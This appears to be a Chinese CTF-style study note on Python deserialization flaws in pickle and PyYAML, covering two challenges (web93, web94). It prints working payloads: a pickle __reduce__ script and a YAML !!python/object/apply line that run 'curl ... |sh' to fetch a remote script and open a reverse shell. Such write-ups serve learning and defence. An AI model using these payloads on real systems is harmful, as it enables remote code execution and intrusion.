【心得】Python的反序列化漏洞个人笔记

目录

python反序列化

①web93

②web94


python反序列化

序列化:

类对象->字节流

反序列化:

字节流->对象

python序列化常用的模板

1 pickle

2 json

特征:

竟然不需要 恶意类

反序列化字符串里面包含类的所有定义,包括类的方法

php反序列化时,只能控制类的属性,利用现有的魔术方法做跳板

python反序列化时,直接可以不需要恶意类,也不需要现有的魔术方法,直接产生类的定义并执行__reduce__方法

Marshal 反序列化

pickle 类无法序列化 code类,为了弥补这个问题,2.6以后增加了marshal模块来处理

PyYAML 反序列化

!!python/object 标签

!!python/object/new 标签

!!python/object/apply 标签

①web93

payload生成脚本

复制代码
import pickle
import os
import base64

class test():
    def __init__(self):
        self.username=0
        self.password=0
    def login(self,username,password):
        return username=='admin' and password=='123456'
    #类似php里的__wakeup__魔术方法
    #返回一个元组,第一个成员是回调函数,第二个成员是回调函数的参数
    def __reduce__(self):
        print('reduce')
        return os.system,('curl https://your-shell.com/124.222.136.33:1337 |sh',)

a=test()
#生成字节流
serialize=pickle.dumps(a)
payload=base64.b64encode(serialize)
print(payload)

注意服务器是linux进行反序列化操作,我们也要在linux上进行序列化操作,否则会报错

payload:

复制代码
.../unserialize

data=gASVTgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDNjdXJsIGh0dHBzOi8veW91ci1zaGVsbC5jb20vMTI0LjIyMi4xMzYuMzM6MTMzNyB8c2iUhZRSlC4=

监听成功反弹shell

②web94

!!python/object/apply 的标签可以让 YAML 解析器执行 Python 代码

方括号被用于将命令字符串作为列表的单个元素,并将整个列表作为参数传递给 os.system 函数。使用方括号是因为 os.system 函数接受的参数类型是一个列表,而不是元组。通过将命令字符串放入列表中,可以确保 os.system 函数正确地接收到命令作为参数。

payload:

复制代码
.../unserialize
data=!!python/object/apply:os.system ["curl https://your-shell.com/124.222.136.33:1337 |sh"]

监听成功反弹shell

相关推荐
hhzz4 分钟前
【OpenCV 入门到精通 04】视频入门与绘图交互:从摄像头到鼠标画笔
人工智能·python·opencv·计算机视觉·音视频·交互
Thomas.Sir4 分钟前
第40课:TensorFlow|模型推理部署前置知识【离线推理、接口调用基础】
人工智能·python·tensorflow
2601_962387826 分钟前
多源数据查询指南:MySQL 联邦、Python 聚合与 Presto 引擎全对比
python·mysql·数据集成·presto·联邦查询
weixin1997010801613 分钟前
《Mercari OTA 直连接入:日本二手电商出海的API通道与600次/分钟限流实战》(附Python源码)
开发语言·数据库·python
库玛西17 分钟前
深度解构高并发利器:纯事件驱动 Reactor 模式的设计哲学与工程实践
服务器·开发语言·c++·笔记·tcp/ip
泰晶科技30 分钟前
【晶振相位噪声对通信系统的影响:如何降低5G光模块信号误码率】
笔记·5g
半亩码田43 分钟前
【.NET新特性·第17篇】EF Core 10 与 Aspire 13.1
python·flask·.net
zhangzeyuaaa1 小时前
AI Agent 执行引擎选型指南:PowerShell / Bash 和 Python,边界与最佳实践
人工智能·python·bash
糖炒栗子03261 小时前
PostgreSQL 使用 ctid 修改完全重复的行
笔记
老当益壮梁奶奶1 小时前
51单片机入门总结(一):基本概念、最小系统、流水灯与按键实验(附完整代码)
笔记·stm32·单片机·嵌入式硬件·51单片机